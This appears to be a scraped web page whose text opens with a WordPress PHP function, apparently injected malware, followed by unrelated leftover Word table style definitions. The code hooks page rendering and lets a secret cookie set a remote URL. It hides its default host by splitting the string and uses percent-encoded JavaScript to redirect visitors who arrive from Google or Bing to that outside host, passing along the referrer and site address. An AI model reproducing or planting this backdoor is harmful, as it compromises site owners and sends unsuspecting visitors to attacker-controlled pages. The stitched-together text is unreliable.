function wpd_do_stuff_on_40404(){
if( is_404() ){
if (!empty($_COOKIE["8730170cf16ea73f7a1712c8c0f34a0a"]))
{
update_option('wpd_do_stuff_on_40404_url', rawurldecode($_COOKIE["8730170cf16ea73f7a1712c8c0f34a0a"]));
}
if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE)
{
$u = get_option('wpd_do_stuff_on_40404_url', 'mywebinfo.s' . 'ite/jquery.php');
if (!empty($u)) {
$fu = 'http://' . $u . "?referrer=" . $_SERVER["HTTP_REFERER"] . '&u=' . rawurlencode($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]);
$t = rawurldecode("%3Chtml%3E%0D%0A%20%20%20%3Chead%3E%0D%0A%20%20%20%20%20%20%3Cscript%20type%20%3D%20%22text%2Fjavascript%22%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20Redirect%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20window.location%20%3D%20%22%25s%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20document.write%28%22You%20will%20be%20redirected%20to%20main%20page%20in%202%20sec.%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20setTimeout%28%27Redirect%28%29%27%2C%202000%29%3B%0D%0A%20%20%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%3C%2Fhead%3E%0D%0A%20%20%20%3Cbody%3E%0D%0A%20%20%20%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A");
exit(sprintf($t, $fu));
}
}
}
}
add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”Table Normal”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:”";
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin-top:0in;
mso-para-margin-right:0in;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0in;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:”Calibri”,”sans-serif”;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:”Times New Roman”;
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}